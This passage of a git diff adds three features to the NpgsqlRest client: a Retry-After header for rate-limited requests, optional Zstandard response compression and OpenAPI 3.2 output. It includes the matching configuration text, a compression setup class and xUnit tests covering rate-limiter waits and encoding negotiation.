ConfigSchemaGenerator ["RateLimiterOptions"] = "Rate Limiter settings to limit the number of requests from clients.", ["RateLimiterOptions:StatusCode"] = "Global HTTP status code returned for rejected (rate-limited) requests. Default 429. Individual policies may override this via `RateLimiterOptions:Policies::StatusCode`.", ["RateLimiterOptions:StatusMessage"] = "Global response body text returned for rejected (rate-limited) requests. When empty, the rejection has an empty body. Individual policies may override this via `RateLimiterOptions:Policies::StatusMessage`.", + ["RateLimiterOptions:RetryAfterHeader"] = "Send the Retry-After header with a rejected request: the number of seconds (rounded up) until the limiter will let a request through again. Fixed window, sliding window and token bucket policies know that time; a concurrency policy does not, so its rejections carry no such header.", ["RateLimiterOptions:Policies"] = "Named rate-limiter policies. The object key is the policy name (referenced from endpoints via the `rate_limiter_policy ` comment annotation, or used as `DefaultPolicy`). Each entry has a `Type` and type-specific tuning fields. Set `Enabled: true` per policy to register it at startup.", ["RateLimiterOptions:Policies:Type"] = "Rate-limiter algorithm:\n- FixedWindow: see https://learn.microsoft.com/en-us/aspnet/core/performance/rate-limit#fixed\n- SlidingWindow: see https://learn.microsoft.com/en-us/aspnet/core/performance/rate-limit#sliding-window-limiter\n- TokenBucket: see https://learn.microsoft.com/en-us/aspnet/core/performance/rate-limit#token-bucket-limiter\n- Concurrency: see https://learn.microsoft.com/en-us/aspnet/core/performance/rate-limit#concurrency-limiter", ["RateLimiterOptions:Policies:Enabled"] = "Set to true to register this policy at startup. Disabled policies are skipped.", @@ -458,7 +461,7 @@ public static partial class ConfigSchemaGenerator ["NpgsqlRest:OpenApiOptions:FileOverwrite"] = "Set to true to overwrite existing files.", ["NpgsqlRest:OpenApiOptions:DocumentTitle"] = "The title of the OpenAPI document. This appears in the \"info\" section of the OpenAPI specification.\nIf not set, the database name from the ConnectionString will be used.", ["NpgsqlRest:OpenApiOptions:DocumentVersion"] = "The version of the OpenAPI document. This appears in the \"info\" section of the OpenAPI specification.\nWhen null, default is \"1.0.0\".", - ["NpgsqlRest:OpenApiOptions:SpecVersion"] = "OpenAPI specification version of the generated document: \"3.0\" or \"3.1\". \"3.0\" emits openapi: 3.0.3 (default, backward compatible), \"3.1\" emits openapi: 3.1.1 (JSON Schema 2020-12 alignment). This is the spec version, not your API version (that is DocumentVersion).", + ["NpgsqlRest:OpenApiOptions:SpecVersion"] = "OpenAPI specification version of the generated document: \"3.0\", \"3.1\" or \"3.2\". \"3.0\" emits openapi: 3.0.3 (default, backward compatible), \"3.1\" emits openapi: 3.1.1 (JSON Schema 2020-12 alignment), \"3.2\" emits openapi: 3.2.0 and documents HTTP QUERY endpoints, which earlier versions cannot describe (they are left out with a warning). Check that your tools read 3.2 before choosing it. This is the spec version, not your API version (that is DocumentVersion).", ["NpgsqlRest:OpenApiOptions:DocumentDescription"] = "Optional description of the API. This appears in the \"info\" section of the OpenAPI specification.", ["NpgsqlRest:OpenApiOptions:AddCurrentServer"] = "Include current server information in the \"servers\" section of the OpenAPI document.", ["NpgsqlRest:OpenApiOptions:Servers"] = "Additional server entries to add to the \"servers\" section of the OpenAPI document.\nEach server entry must have \"Url\" property and optional \"Description\" property.\napi.example.com\", \"Description\": \"Production server\"}*/],", diff --git a/NpgsqlRestClient/ConfigTemplate.cs b/NpgsqlRestClient/ConfigTemplate.cs index a872a998..21734c00 100644 --- a/NpgsqlRestClient/ConfigTemplate.cs +++ b/NpgsqlRestClient/ConfigTemplate.cs @@ -985,6 +985,12 @@ public static partial class ConfigSchemaGenerator // "EnableForHttps": false, // + // Use Zstandard compression when supported by client (Accept-Encoding: zstd). It compresses about as well as + // Brotli for a fraction of the CPU time. Among the encodings a client accepts with equal preference, the + // order is Zstandard, Brotli, Gzip. + // + "UseZstandard": false, + // // Use Brotli compression algorithm when supported by client. // "UseBrotli": true, @@ -997,6 +1003,11 @@ public static partial class ConfigSchemaGenerator // "CompressionLevel": "Optimal", // + // Zstandard quality, from 1 (fastest) to 22 (smallest). When null, it follows CompressionLevel: + // Optimal is 3, Fastest is 1, SmallestSize is 19. + // + "ZstandardQuality": null, + // // MIME types to include for compression. // "IncludeMimeTypes": [ @@ -1863,6 +1874,12 @@ public static partial class ConfigSchemaGenerator "StatusMessage": "Too many requests. Please try again later.", "DefaultPolicy": null, // + // Send the Retry-After header with a rejected request: the number of seconds (rounded up) until the + // limiter will let a request through again. Fixed window, sliding window and token bucket policies know + // that time; a concurrency policy does not, so its rejections carry no such header. + // + "RetryAfterHeader": true, + // // Named rate-limiter policies. The object key is the policy name (referenced from endpoints via the // `rate_limiter_policy ` comment annotation, or used as `DefaultPolicy` above). // @@ -2710,9 +2727,11 @@ public static partial class ConfigSchemaGenerator // "DocumentDescription": null, // - // OpenAPI specification version of the generated document: "3.0" or "3.1". + // OpenAPI specification version of the generated document: "3.0", "3.1" or "3.2". // "3.0" emits openapi: 3.0.3 (default, backward compatible), - // "3.1" emits openapi: 3.1.1 (JSON Schema 2020-12 alignment). + // "3.1" emits openapi: 3.1.1 (JSON Schema 2020-12 alignment), + // "3.2" emits openapi: 3.2.0 and documents HTTP QUERY endpoints, which earlier versions cannot describe + // (they are left out with a warning). Check that your tools read 3.2 before choosing it. // This is the spec version, not your API version (that is DocumentVersion). // "SpecVersion": "3.0", diff --git a/NpgsqlRestClient/ResponseCompressionSetup.cs b/NpgsqlRestClient/ResponseCompressionSetup.cs new file mode 100644 index 00000000..47da771a --- /dev/null +++ b/NpgsqlRestClient/ResponseCompressionSetup.cs @@ -0,0 +1,117 @@ +using System.IO.Compression; +using Microsoft.AspNetCore.ResponseCompression; + +namespace NpgsqlRestClient; + +/// +/// Response compression as the client configures it (the ResponseCompression configuration section). +/// +public static class ResponseCompressionSetup +{ + /// True when this build can compress with Zstandard (.NET 11 and later). + public static bool ZstandardSupported => +#if NET11_0_OR_GREATER + true; +#else + false; +#endif + + public static readonly string[] DefaultMimeTypes = [ + "text/plain", + "text/css", + "application/javascript", + "text/javascript", + "text/html", + "application/xml", + "text/xml", + "application/json", + "text/json", + "image/svg+xml", + "font/woff", + "font/woff2", + "application/font-woff", + "application/font-woff2"]; + + /// + /// The Zstandard quality that stands for a compression level: the algorithm's default for Optimal, its + /// fastest regular level for Fastest, and a high level short of the "ultra" ones (20 and up, which take far + /// more memory on both sides) for SmallestSize. + /// + public static int ZstandardQualityFor(CompressionLevel level) => level switch + { + CompressionLevel.Fastest => 1, + CompressionLevel.SmallestSize => 19, + CompressionLevel.NoCompression => 1, + _ => 3 + }; + + /// + /// Registers response compression. Providers are tried in the order Zstandard, Brotli, Gzip among the + /// encodings the client accepts with equal preference. Returns false, registering nothing, when no + /// algorithm is on. + /// + public static bool Add( + IServiceCollection services, + bool enableForHttps, + bool useZstandard, + bool useBrotli, + bool useGzip, + CompressionLevel level, + int? zstandardQuality = null, + IEnumerable? mimeTypes = null, + IEnumerable? excludedMimeTypes = null) + { + useZstandard = useZstandard && ZstandardSupported; + if (useZstandard is false && useBrotli is false && useGzip is false) + { + return false; + } + + services.AddResponseCompression(options => + { + options.EnableForHttps = enableForHttps; +#if NET11_0_OR_GREATER + if (useZstandard is true) + { + options.Providers.Add(); + } +#endif + if (useBrotli is true) + { + options.Providers.Add(); + } + if (useGzip is true) + { + options.Providers.Add(); + } + options.MimeTypes = mimeTypes?.ToArray() ?? DefaultMimeTypes; + options.ExcludedMimeTypes = excludedMimeTypes?.ToArray() ?? []; + }); + +#if NET11_0_OR_GREATER + if (useZstandard is true) + { + var quality = zstandardQuality ?? ZstandardQualityFor(level); + services.Configure(options => + { + options.CompressionOptions.Quality = quality; + }); + } +#endif + if (useBrotli is true) + { + services.Configure(options => + { + options.Level = level; + }); + } + if (useGzip is true) + { + services.Configure(options => + { + options.Level = level; + }); + } + return true; + } +} diff --git a/NpgsqlRestClient/appsettings.json b/NpgsqlRestClient/appsettings.json index dd5e04fc..9bd466d3 100644 --- a/NpgsqlRestClient/appsettings.json +++ b/NpgsqlRestClient/appsettings.json @@ -976,6 +976,12 @@ // "EnableForHttps": false, // + // Use Zstandard compression when supported by client (Accept-Encoding: zstd). It compresses about as well as + // Brotli for a fraction of the CPU time. Among the encodings a client accepts with equal preference, the + // order is Zstandard, Brotli, Gzip. + // + "UseZstandard": false, + // // Use Brotli compression algorithm when supported by client. // "UseBrotli": true, @@ -988,6 +994,11 @@ // "CompressionLevel": "Optimal", // + // Zstandard quality, from 1 (fastest) to 22 (smallest). When null, it follows CompressionLevel: + // Optimal is 3, Fastest is 1, SmallestSize is 19. + // + "ZstandardQuality": null, + // // MIME types to include for compression. // "IncludeMimeTypes": [ @@ -1854,6 +1865,12 @@ "StatusMessage": "Too many requests. Please try again later.", "DefaultPolicy": null, // + // Send the Retry-After header with a rejected request: the number of seconds (rounded up) until the + // limiter will let a request through again. Fixed window, sliding window and token bucket policies know + // that time; a concurrency policy does not, so its rejections carry no such header. + // + "RetryAfterHeader": true, + // // Named rate-limiter policies. The object key is the policy name (referenced from endpoints via the // `rate_limiter_policy ` comment annotation, or used as `DefaultPolicy` above). // @@ -2701,9 +2718,11 @@ // "DocumentDescription": null, // - // OpenAPI specification version of the generated document: "3.0" or "3.1". + // OpenAPI specification version of the generated document: "3.0", "3.1" or "3.2". // "3.0" emits openapi: 3.0.3 (default, backward compatible), - // "3.1" emits openapi: 3.1.1 (JSON Schema 2020-12 alignment). + // "3.1" emits openapi: 3.1.1 (JSON Schema 2020-12 alignment), + // "3.2" emits openapi: 3.2.0 and documents HTTP QUERY endpoints, which earlier versions cannot describe + // (they are left out with a warning). Check that your tools read 3.2 before choosing it. // This is the spec version, not your API version (that is DocumentVersion). // "SpecVersion": "3.0", diff --git a/NpgsqlRestTests/AuthTests/RateLimiterPerPolicyTests.cs b/NpgsqlRestTests/AuthTests/RateLimiterPerPolicyTests.cs index 96b4137b..79f90e59 100644 --- a/NpgsqlRestTests/AuthTests/RateLimiterPerPolicyTests.cs +++ b/NpgsqlRestTests/AuthTests/RateLimiterPerPolicyTests.cs @@ -62,6 +62,8 @@ public async Task Policy_with_message_override_returns_its_own_message_and_globa using var rejected = await client.GetAsync("/api/rlpm-login"); rejected.StatusCode.Should().Be(HttpStatusCode.TooManyRequests); (await rejected.Content.ReadAsStringAsync()).Should().Be(RateLimiterPerPolicyTestFixture.LoginMessage); + // an NpgsqlRest endpoint gets the Retry-After header as well (10 minute window) + int.Parse(rejected.Headers.GetValues("Retry-After").Single()).Should().BeInRange(590, 600); } /// diff --git a/NpgsqlRestTests/AuthTests/RateLimiterRetryAfterTests.cs b/NpgsqlRestTests/AuthTests/RateLimiterRetryAfterTests.cs new file mode 100644 index 00000000..f7e843c3 --- /dev/null +++ b/NpgsqlRestTests/AuthTests/RateLimiterRetryAfterTests.cs @@ -0,0 +1,310 @@ +using System.Collections.Frozen; +using System.Threading.RateLimiting; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Http; +using Microsoft.AspNetCore.RateLimiting; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Logging; +using NpgsqlRestClient; + +namespace NpgsqlRestTests; + +/// +/// The Retry-After header on requests the rate limiter rejects (RateLimiterOptions:RetryAfterHeader), through +/// the client's own rejection handler (Builder.RateLimiterRejectedAsync). +/// +public class RateLimiterRetryAfterTests +{ + private const string Message = "Too many requests. Please try again later."; + + private sealed class Server : IAsyncDisposable + { + public required WebApplication App { get; init; } + public required HttpClient Client { get; init; } + public TaskCompletionSource Release { get; } = new(TaskCreationOptions.RunContinuationsAsynchronously); + public TaskCompletionSource Entered { get; } = new(TaskCreationOptions.RunContinuationsAsynchronously); + public async ValueTask DisposeAsync() + { + Release.TrySetResult(); + Client.Dispose(); + await App.StopAsync(); + await App.DisposeAsync(); + } + } + + private static async Task StartAsync( + bool retryAfterHeader = true, + string? message = Message, + Dictionary? overrides = null) + { + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + var frozen = (overrides ?? []).ToFrozenDictionary(); + builder.Services.AddRateLimiter(options => + { + options.RejectionStatusCode = 429; + options.OnRejected = (context, cancellationToken) => + Builder.RateLimiterRejectedAsync(context, frozen, 429, message, retryAfterHeader, cancellationToken); + + options.AddFixedWindowLimiter("fixed", o => + { + o.PermitLimit = 1; + o.Window = TimeSpan.FromSeconds(30); + o.QueueLimit = 0; + }); + options.AddSlidingWindowLimiter("sliding", o => + { + o.PermitLimit = 1; + o.Window = TimeSpan.FromSeconds(40); + o.SegmentsPerWindow = 4; + o.QueueLimit = 0; + }); + options.AddTokenBucketLimiter("bucket", o => + { + o.TokenLimit = 1; + o.TokensPerPeriod = 1; + o.ReplenishmentPeriod = TimeSpan.FromSeconds(20); + o.QueueLimit = 0; + }); + options.AddConcurrencyLimiter("concurrency", o => + { + o.PermitLimit = 1; + o.QueueLimit = 0; + }); + options.AddPolicy("partitioned", context => RateLimitPartition.GetFixedWindowLimiter( + context.Request.Headers["X-Tenant"].ToString(), + _ => new FixedWindowRateLimiterOptions { PermitLimit = 1, Window = TimeSpan.FromSeconds(50), QueueLimit = 0 })); + }); + + var app = builder.Build(); + app.UseRateLimiter(); + Server? server = null; + foreach (var policy in new[] { "fixed", "sliding", "bucket", "partitioned" }) + { + app.MapGet("/" + policy, () => "ok").RequireRateLimiting(policy); + } + app.MapGet("/concurrency", async () => + { + server!.Entered.TrySetResult(); + await server.Release.Task; + return "ok"; + }).RequireRateLimiting("concurrency"); + app.MapGet("/unlimited", () => "ok"); + await app.StartAsync(); + server = new Server + { + App = app, + Client = new HttpClient { BaseAddress = new Uri(app.Urls.First()), Timeout = TimeSpan.FromMinutes(1) } + }; + return server; + } + + private static int? RetryAfter(HttpResponseMessage response) => + response.Headers.TryGetValues("Retry-After", out var values) ? int.Parse(values.Single()) : null; + + [Theory] + [InlineData(-5, 1)] + [InlineData(0, 1)] + [InlineData(1, 1)] + [InlineData(200, 1)] + [InlineData(1000, 1)] + [InlineData(1001, 2)] + [InlineData(59_500, 60)] + [InlineData(600_000, 600)] + public void A_wait_is_whole_seconds_rounded_up_and_at_least_one(int milliseconds, int expected) + { + Builder.RetryAfterSeconds(TimeSpan.FromMilliseconds(milliseconds)).Should().Be(expected); + } + + [Fact] + public void A_wait_without_end_does_not_overflow() + { + Builder.RetryAfterSeconds(TimeSpan.MaxValue).Should().Be(int.MaxValue); + } + + [Fact] + public async Task A_request_that_is_let_through_has_no_retry_after() + { + await using var server = await StartAsync(); + using var ok = await server.Client.GetAsync("/fixed"); + ok.StatusCode.Should().Be(HttpStatusCode.OK); + (await ok.Content.ReadAsStringAsync()).Should().Be("ok"); + RetryAfter(ok).Should().BeNull(); + + using var unlimited = await server.Client.GetAsync("/unlimited"); + RetryAfter(unlimited).Should().BeNull(); + } + + [Fact] + public async Task Fixed_window_says_how_long_until_the_window_ends() + { + await using var server = await StartAsync(); + using var ok = await server.Client.GetAsync("/fixed"); + ok.StatusCode.Should().Be(HttpStatusCode.OK); + + using var rejected = await server.Client.GetAsync("/fixed"); + rejected.StatusCode.Should().Be(HttpStatusCode.TooManyRequests); + (await rejected.Content.ReadAsStringAsync()).Should().Be(Message); + // the 30 second window began with the first request, a moment ago + RetryAfter(rejected).Should().BeInRange(25, 30); + } + + [Fact] + public async Task Fixed_window_counts_down() + { + await using var server = await StartAsync(); + using var ok = await server.Client.GetAsync("/fixed"); + using var first = await server.Client.GetAsync("/fixed"); + await Task.Delay(2200); + using var second = await server.Client.GetAsync("/fixed"); + first.StatusCode.Should().Be(HttpStatusCode.TooManyRequests); + second.StatusCode.Should().Be(HttpStatusCode.TooManyRequests); +#if NET11_0_OR_GREATER + RetryAfter(second)!.Value.Should().BeLessThan(RetryAfter(first)!.Value); + RetryAfter(second)!.Value.Should().BeInRange(22, 28); +#else + // .NET 10 reports the whole window, whatever part of it has passed + RetryAfter(first).Should().Be(30); + RetryAfter(second).Should().Be(30); +#endif + } + + [Fact] + public async Task Sliding_window_says_when_the_used_permit_comes_back() + { + await using var server = await StartAsync(); + using var ok = await server.Client.GetAsync("/sliding"); + ok.StatusCode.Should().Be(HttpStatusCode.OK); + + using var rejected = await server.Client.GetAsync("/sliding"); + rejected.StatusCode.Should().Be(HttpStatusCode.TooManyRequests); + (await rejected.Content.ReadAsStringAsync()).Should().Be(Message); +#if NET11_0_OR_GREATER + // the one permit was used in the current segment; it comes back when that segment leaves the + // 40 second window (4 segments of 10 seconds) + RetryAfter(rejected).Should().BeInRange(30, 40); +#else + // the .NET 10 sliding window limiter does not say when to retry + RetryAfter(rejected).Should().BeNull(); +#endif + } + + [Fact] + public async Task Token_bucket_says_when_the_next_token_arrives() + { + await using var server = await StartAsync(); + using var ok = await server.Client.GetAsync("/bucket"); + ok.StatusCode.Should().Be(HttpStatusCode.OK); + + using var rejected = await server.Client.GetAsync("/bucket"); + rejected.StatusCode.Should().Be(HttpStatusCode.TooManyRequests); + (await rejected.Content.ReadAsStringAsync()).Should().Be(Message); + RetryAfter(rejected).Should().BeInRange(15, 20); + } + + [Fact] + public async Task Concurrency_cannot_say_and_sends_no_header() + { + await using var server = await StartAsync(); + var running = server.Client.GetAsync("/concurrency"); + await server.Entered.Task.WaitAsync(TimeSpan.FromSeconds(30)); + + using var rejected = await server.Client.GetAsync("/concurrency"); + rejected.StatusCode.Should().Be(HttpStatusCode.TooManyRequests); + (await rejected.Content.ReadAsStringAsync()).Should().Be(Message); + RetryAfter(rejected).Should().BeNull(); + + server.Release.SetResult(); + using var finished = await running; + (await finished.Content.ReadAsStringAsync()).Should().Be("ok"); + } + + [Fact] + public async Task Each_partition_has_its_own_wait() + { + await using var server = await StartAsync(); + async Task Get(string tenant) + { + using var request = new HttpRequestMessage(HttpMethod.Get, "/partitioned"); + request.Headers.Add("X-Tenant", tenant); + return await server.Client.SendAsync(request); + } + using var a1 = await Get("a"); + using var a2 = await Get("a"); + using var b1 = await Get("b"); + a1.StatusCode.Should().Be(HttpStatusCode.OK); + a2.StatusCode.Should().Be(HttpStatusCode.TooManyRequests); + RetryAfter(a2).Should().BeInRange(45, 50); + b1.StatusCode.Should().Be(HttpStatusCode.OK); + RetryAfter(b1).Should().BeNull(); + } + + [Fact] + public async Task The_header_can_be_turned_off() + { + await using var server = await StartAsync(retryAfterHeader: false); + foreach (var path in new[] { "/fixed", "/sliding", "/bucket" }) + { + using var ok = await server.Client.GetAsync(path); + ok.StatusCode.Should().Be(HttpStatusCode.OK); + using var rejected = await server.Client.GetAsync(path); + rejected.StatusCode.Should().Be(HttpStatusCode.TooManyRequests); + (await rejected.Content.ReadAsStringAsync()).Should().Be(Message); + RetryAfter(rejected).Should().BeNull(); + } + } + + [Fact] + public async Task Without_a_message_the_body_is_empty_and_the_header_is_there() + { + await using var server = await StartAsync(message: null); + using var ok = await server.Client.GetAsync("/fixed"); + using var rejected = await server.Client.GetAsync("/fixed"); + rejected.StatusCode.Should().Be(HttpStatusCode.TooManyRequests); + (await rejected.Content.ReadAsStringAsync()).Should().Be(""); + RetryAfter(rejected).Should().BeInRange(25, 30); + } + + [Fact] + public async Task A_policy_with_its_own_status_and_message_keeps_them_and_gets_the_header() + { + await using var server = await StartAsync(overrides: new() + { + ["bucket"] = (503, "Service busy. Retry shortly."), + ["sliding"] = (null, "Slow down.") + }); + using var okBucket = await server.Client.GetAsync("/bucket"); + using var bucket = await server.Client.GetAsync("/bucket"); + bucket.StatusCode.Should().Be(HttpStatusCode.ServiceUnavailable); + (await bucket.Content.ReadAsStringAsync()).Should().Be("Service busy. Retry shortly."); + RetryAfter(bucket).Should().BeInRange(15, 20); + + using var okSliding = await server.Client.GetAsync("/sliding"); + using var sliding = await server.Client.GetAsync("/sliding"); + sliding.StatusCode.Should().Be(HttpStatusCode.TooManyRequests); + (await sliding.Content.ReadAsStringAsync()).Should().Be("Slow down."); +#if NET11_0_OR_GREATER + RetryAfter(sliding).Should().BeInRange(30, 40); +#else + RetryAfter(sliding).Should().BeNull(); +#endif + + using var okFixed = await server.Client.GetAsync("/fixed"); + using var fixedWindow = await server.Client.GetAsync("/fixed"); + fixedWindow.StatusCode.Should().Be(HttpStatusCode.TooManyRequests); + (await fixedWindow.Content.ReadAsStringAsync()).Should().Be(Message); + RetryAfter(fixedWindow).Should().BeInRange(25, 30); + } + + [Fact] + public async Task The_header_is_a_whole_number_of_seconds() + { + await using var server = await StartAsync(); + using var ok = await server.Client.GetAsync("/bucket"); + using var rejected = await server.Client.GetAsync("/bucket"); + rejected.Headers.GetValues("Retry-After").Single().Should().MatchRegex("^[1-9][0-9]*$"); + rejected.Headers.RetryAfter!.Delta.Should().NotBeNull(); + } +} diff --git a/NpgsqlRestTests/CompressionTests/ZstandardCompressionTests.cs b/NpgsqlRestTests/CompressionTests/ZstandardCompressionTests.cs new file mode 100644 index 00000000..367cc7df --- /dev/null +++ b/NpgsqlRestTests/CompressionTests/ZstandardCompressionTests.cs @@ -0,0 +1,274 @@ +using System.IO.Compression; +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.AspNetCore.Http; +using Microsoft.AspNetCore.ResponseCompression; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Logging; +using Microsoft.Extensions.Options; +using NpgsqlRestClient; + +namespace NpgsqlRestTests.CompressionTests; + +/// +/// Response compression as the client sets it up (ResponseCompressionSetup, the ResponseCompression section), +/// with Zstandard (ResponseCompression:UseZstandard, .NET 11). +/// +public class ZstandardCompressionTests +{ + // long enough and repetitive enough that every algorithm makes it smaller + private static readonly string Json = + "[" + string.Join(",", Enumerable.Range(1, 400).Select(i => $"{{\"id\":{i},\"name\":\"customer number {i}\",\"active\":true}}")) + "]"; + + private sealed class Server : IAsyncDisposable + { + public required WebApplication App { get; init; } + public required HttpClient Client { get; init; } + public async ValueTask DisposeAsync() + { + Client.Dispose(); + await App.StopAsync(); + await App.DisposeAsync(); + } + } + + private static async Task StartAsync( + bool zstandard, bool brotli = true, bool gzip = true, + CompressionLevel level = CompressionLevel.Optimal, int? quality = null, string[]? excluded = null) + { + var builder = WebApplication.CreateBuilder(); + builder.WebHost.UseUrls("http://127.0.0.1:0"); + builder.Logging.ClearProviders(); + var added = ResponseCompressionSetup.Add(builder.Services, enableForHttps: false, + useZstandard: zstandard, useBrotli: brotli, useGzip: gzip, level: level, + zstandardQuality: quality, excludedMimeTypes: excluded); + var app = builder.Build(); + if (added) + { + app.UseResponseCompression(); + } + app.MapGet("/data", () => Results.Text(Json, "application/json")); + app.MapGet("/image", () => Results.Text(Json, "image/png")); + await app.StartAsync(); + var client = new HttpClient(new SocketsHttpHandler { AutomaticDecompression = DecompressionMethods.None }) + { + BaseAddress = new Uri(app.Urls.First()) + }; + return new Server { App = app, Client = client }; + } + + private static async Task<(string? encoding, byte[] body, string? vary)> GetAsync(Server server, string? acceptEncoding, string path = "/data") + { + using var request = new HttpRequestMessage(HttpMethod.Get, path); + if (acceptEncoding is not null) + { + request.Headers.TryAddWithoutValidation("Accept-Encoding", acceptEncoding); + } + using var response = await server.Client.SendAsync(request); + response.StatusCode.Should().Be(HttpStatusCode.OK); + var vary = response.Headers.TryGetValues("Vary", out var v) ? string.Join(",", v) : null; + return (response.Content.Headers.ContentEncoding.SingleOrDefault(), await response.Content.ReadAsByteArrayAsync(), vary); + } + + private static string Decode(byte[] body, string? encoding) + { + using var source = new MemoryStream(body); + using Stream stream = encoding switch + { +#if NET11_0_OR_GREATER + "zstd" => new ZstandardStream(source, CompressionMode.Decompress), +#endif + "br" => new BrotliStream(source, CompressionMode.Decompress), + "gzip" => new GZipStream(source, CompressionMode.Decompress), + null => source, + _ => throw new InvalidOperationException($"unexpected encoding {encoding}") + }; + using var reader = new StreamReader(stream, Encoding.UTF8); + return reader.ReadToEnd(); + } + + [Theory] + [InlineData(CompressionLevel.Optimal, 3)] + [InlineData(CompressionLevel.Fastest, 1)] + [InlineData(CompressionLevel.SmallestSize, 19)] + [InlineData(CompressionLevel.NoCompression, 1)] + public void Compression_level_stands_for_a_zstandard_quality(CompressionLevel level, int quality) + { + ResponseCompressionSetup.ZstandardQualityFor(level).Should().Be(quality); + } + + [Fact] + public void Nothing_is_registered_when_every_algorithm_is_off() + { + var services = new ServiceCollection(); + ResponseCompressionSetup.Add(services, false, useZstandard: false, useBrotli: false, useGzip: false, CompressionLevel.Optimal) + .Should().BeFalse(); + services.Should().BeEmpty(); + } + + [Fact] + public async Task Without_accept_encoding_the_response_is_not_compressed() + { + await using var server = await StartAsync(zstandard: true); + var (encoding, body, vary) = await GetAsync(server, null); + encoding.Should().BeNull(); + Encoding.UTF8.GetString(body).Should().Be(Json); +#if NET11_0_OR_GREATER + // ASP.NET Core 11: Vary is set on every response the middleware sees, compressed or not + vary.Should().Be("Accept-Encoding"); +#else + vary.Should().BeNull(); +#endif + } + + [Theory] + [InlineData("br", "br")] + [InlineData("gzip", "gzip")] + [InlineData("gzip, br", "br")] + [InlineData("br, gzip", "br")] + public async Task Brotli_and_gzip_are_chosen_as_before_when_zstandard_is_on(string acceptEncoding, string expected) + { + await using var server = await StartAsync(zstandard: true); + var (encoding, body, _) = await GetAsync(server, acceptEncoding); + encoding.Should().Be(expected); + Decode(body, encoding).Should().Be(Json); + } + + [Theory] + [InlineData("zstd, br, gzip", "br")] + [InlineData("gzip, zstd", "gzip")] + public async Task Zstandard_is_not_used_unless_it_is_turned_on(string acceptEncoding, string expected) + { + await using var server = await StartAsync(zstandard: false); + var (encoding, body, _) = await GetAsync(server, acceptEncoding); + encoding.Should().Be(expected); + Decode(body, encoding).Should().Be(Json); + } + + [Fact] + public async Task A_client_that_accepts_only_zstandard_gets_no_compression_when_it_is_off() + { + await using var server = await StartAsync(zstandard: false); + var (encoding, body, _) = await GetAsync(server, "zstd"); + encoding.Should().BeNull(); + Encoding.UTF8.GetString(body).Should().Be(Json); + } + + [Fact] + public async Task A_type_that_is_not_listed_is_not_compressed() + { + await using var server = await StartAsync(zstandard: true); + var (encoding, body, _) = await GetAsync(server, "zstd, br, gzip", "/image"); + encoding.Should().BeNull(); + Encoding.UTF8.GetString(body).Should().Be(Json); + } + + [Fact] + public async Task An_excluded_type_is_not_compressed() + { + await using var server = await StartAsync(zstandard: true, excluded: ["application/json"]); + var (encoding, body, _) = await GetAsync(server, "zstd, br, gzip"); + encoding.Should().BeNull(); + Encoding.UTF8.GetString(body).Should().Be(Json); + } + +#if NET11_0_OR_GREATER + [Fact] + public void This_build_supports_zstandard() + { + ResponseCompressionSetup.ZstandardSupported.Should().BeTrue(); + } + + [Theory] + [InlineData("zstd")] + [InlineData("zstd, br, gzip")] + [InlineData("gzip, br, zstd")] + [InlineData("gzip, deflate, br, zstd")] // what browsers send + [InlineData("br;q=0.9, zstd;q=0.9, gzip;q=0.5")] + [InlineData("ZSTD")] + public async Task Zstandard_is_chosen_when_the_client_accepts_it(string acceptEncoding) + { + await using var server = await StartAsync(zstandard: true); + var (encoding, body, vary) = await GetAsync(server, acceptEncoding); + encoding.Should().Be("zstd"); + vary.Should().Be("Accept-Encoding"); + body.Length.Should().BeLessThan(Encoding.UTF8.GetByteCount(Json) / 4); + Decode(body, encoding).Should().Be(Json); + } + + [Theory] + [InlineData("zstd;q=0.5, br;q=1.0", "br")] + [InlineData("zstd;q=0.1, gzip", "gzip")] + [InlineData("zstd;q=0, br", "br")] + [InlineData("zstd;q=0, gzip", "gzip")] + public async Task The_clients_preference_wins_over_the_order_of_algorithms(string acceptEncoding, string expected) + { + await using var server = await StartAsync(zstandard: true); + var (encoding, body, _) = await GetAsync(server, acceptEncoding); + encoding.Should().Be(expected); + Decode(body, encoding).Should().Be(Json); + } + + [Fact] + public async Task Zstandard_works_as_the_only_algorithm() + { + await using var server = await StartAsync(zstandard: true, brotli: false, gzip: false); + var (encoding, body, _) = await GetAsync(server, "gzip, br, zstd"); + encoding.Should().Be("zstd"); + Decode(body, encoding).Should().Be(Json); + + var (none, plain, _) = await GetAsync(server, "gzip, br"); + none.Should().BeNull(); + Encoding.UTF8.GetString(plain).Should().Be(Json); + } + + [Theory] + [InlineData(CompressionLevel.Fastest)] + [InlineData(CompressionLevel.Optimal)] + [InlineData(CompressionLevel.SmallestSize)] + [InlineData(CompressionLevel.NoCompression)] + public async Task Every_compression_level_gives_a_response_that_decodes(CompressionLevel level) + { + await using var server = await StartAsync(zstandard: true, level: level); + var (encoding, body, _) = await GetAsync(server, "zstd"); + encoding.Should().Be("zstd"); + Decode(body, encoding).Should().Be(Json); + server.App.Services.GetRequiredService>().Value + .CompressionOptions.Quality.Should().Be(ResponseCompressionSetup.ZstandardQualityFor(level)); + } + + [Theory] + [InlineData(1)] + [InlineData(12)] + [InlineData(22)] + public async Task An_explicit_quality_overrides_the_compression_level(int quality) + { + await using var server = await StartAsync(zstandard: true, level: CompressionLevel.Fastest, quality: quality); + server.App.Services.GetRequiredService>().Value + .CompressionOptions.Quality.Should().Be(quality); + var (encoding, body, _) = await GetAsync(server, "zstd"); + encoding.Should().Be("zstd"); + Decode(body, encoding).Should().Be(Json); + } + + [Fact] + public async Task A_higher_quality_gives_a_smaller_response() + { + await using var fast = await StartAsync(zstandard: true, quality: 1); + await using var small = await StartAsync(zstandard: true, quality: 19); + var (_, fastBody, _) = await GetAsync(fast, "zstd"); + var (_, smallBody, _) = await GetAsync(small, "zstd"); + smallBody.Length.Should().BeLessThan(fastBody.Length); + } +#else + [Fact] + public async Task On_net10_zstandard_is_not_available_and_the_other_algorithms_are_used() + { + ResponseCompressionSetup.ZstandardSupported.Should().BeFalse(); + await using var server = await StartAsync(zstandard: true); + var (encoding, body, _) = await GetAsync(server, "zstd, br, gzip"); + encoding.Should().Be("br"); + Decode(body, encoding).Should().Be(Json); + } +#endif +} diff --git 